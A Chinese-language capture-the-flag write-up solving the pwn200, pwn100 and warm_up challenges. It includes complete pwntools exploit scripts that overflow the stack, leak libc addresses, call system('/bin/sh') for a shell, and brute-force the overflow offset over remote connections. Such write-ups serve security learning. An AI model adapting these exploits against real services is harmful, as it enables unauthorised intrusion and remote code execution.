攻防世界PWN进阶区pwn100/pwn200/warmup

文章目录

  • pwn200
  • pwn100
  • warm_up

pwn200

和CTFWIKI上的ret2libc3大同小异。

  • 条件:

    1.有read(),write()函数,无system。

    2.在函数sub_8048484中存在栈溢出。

攻防世界PWN进阶区pwn100/pwn200/warmup_第1张图片

  • 思路:

    1.通过栈溢出调用write()函数泄露write()对应的 got 表项的内容,此处将write函数的返回地址设置为main或者sub_8048484的地址以便再次利用栈溢出漏洞

    2.通过LibcSearcher获取libc版本

    3.获取system函数,”/bin/sh”的地址

    4.再次利用栈溢出漏洞执行system函数

    #coding:utf-8
    from pwn import*
    from LibcSearcher import LibcSearcher
    
    r = process('./pwn200')
    #r = remote('address', port)
    elf = ELF('./pwn200')
    
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    ret = 0x8048484
    
    #第一次利用栈溢出,泄露write()的地址
    payload = 'a'*(0x6C+4)
    payload += p32(write_plt)
    payload += p32(ret)
    payload += p32(1)
    payload += p32(write_got)
    payload += p32(4)
    r.sendlineafter('XDCTF2015~!\n', payload)
    
    #接收write()的地址
    write = u32(r.recv()[0:4])
    print hex(write)
    
    #获取libc版本,并计算system,binsh的地址
    libc = LibcSearcher('write', write)
    libcbase = write - libc.dump('write')
    system = libcbase + libc.dump('system')
    binsh = libcbase + libc.dump('str_bin_sh')
    
    #第二次调用栈溢出调用system('/bin/sh')
    payload = 'a'*(0x6C+4)
    payload += p32(system)
    payload += p32(0xdeadbeef)
    payload += p32(binsh)
    r.sendline(payload)
    
    r.interactive()
    

    攻防世界PWN进阶区pwn100/pwn200/warmup_第2张图片

pwn100

和pwn200差不多,只不过这次变成了64位。

  • 分析:

攻防世界PWN进阶区pwn100/pwn200/warmup_第3张图片

攻防世界PWN进阶区pwn100/pwn200/warmup_第4张图片
sub_40063D引用参数v1和200,而它的功能就是往v1里面填充字符,显然这里的200>0x40存在栈溢出漏洞

  • 条件:

    1.有read()和puts()函数

    2.在函数sub_40063D中存在栈溢出

  • 思路:

    1.通过栈溢出调用puts()函数泄露read()对应的 got 表项的内容,此处将puts()函数的返回地址设置为main或者sub_40068E的地址以便再次利用栈溢出漏洞

    2.通过LibcSearcher获取libc版本

    3.获取system函数,”/bin/sh”的地址

    4.再次利用栈溢出漏洞执行system函数

由于是64位,我们还需要一些gadgets

考虑到这里只有puts需要我们自行调用参数,且puts函数的参数只有一个,因此只需要rdi就可以了

攻防世界PWN进阶区pwn100/pwn200/warmup_第5张图片

找到:

pop_rdi = 0x400763

exp:

#coding:utf-8
from pwn import*
from LibcSearcher import LibcSearcher

r = process('./pwn100')
#r = remote('address', port)
elf = ELF('./pwn100')

read_plt = elf.plt['read']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
main = 0x4006b8
pop_rdi = 0x400763

payload = 'a'*(0x40+8)
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main)
payload = payload.ljust(200, 'a')

r.send(payload)
r.recvuntil('bye~\n')
read = u64(r.recv()[:-1].ljust(8, '\x00'))
#由于我们的地址是puts函数打印出来的,会在字符串结尾自动添加'\n',使用[:-1]将'\n'过滤,打印出来的read的地址只有6个字节,使用ljust填充到8个字节。(u64函数无法解码6字节的地址)

#获取libc版本,并计算system,binsh的地址
libc = LibcSearcher('read', read)
libcbase = read - libc.dump('read')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

#再次利用栈溢出执行system('/bin/sh')
payload = 'a'*(0x40+8)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
payload = payload.ljust(200, 'a')

r.send(payload)
r.interactive()

warm_up

BUUOJ上面有这题的原题,提供了ELF文件。
攻防世界PWN进阶区pwn100/pwn200/warmup_第6张图片
偏移为0x40+8
exp:


from pwn import*
r = remote()
payload = 'a'*(0x40 + 8) + p64(0x40060d)
r.sendlineafter('>',payload)
r.interactive()

不借助文件,参考WP
exp:

from pwn import *
    #context.log_level = 'debug'
addr = 0x40060d

def fuzz(r, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)

def main():
    for i in range(1000):
        print(i)
        for j in range(3):
            try:
                r = remote()
                fuzz(r, i, j)
                text = r.recv()
                print('text.len='+str(len(text))+'text='+text)
                print('num='+str(i)+' flag='+str(j))
                r.interactive()
            except:
                r.close()

if __name__ == '__main__':
    main()

你可能感兴趣的:(攻防世界,CTF)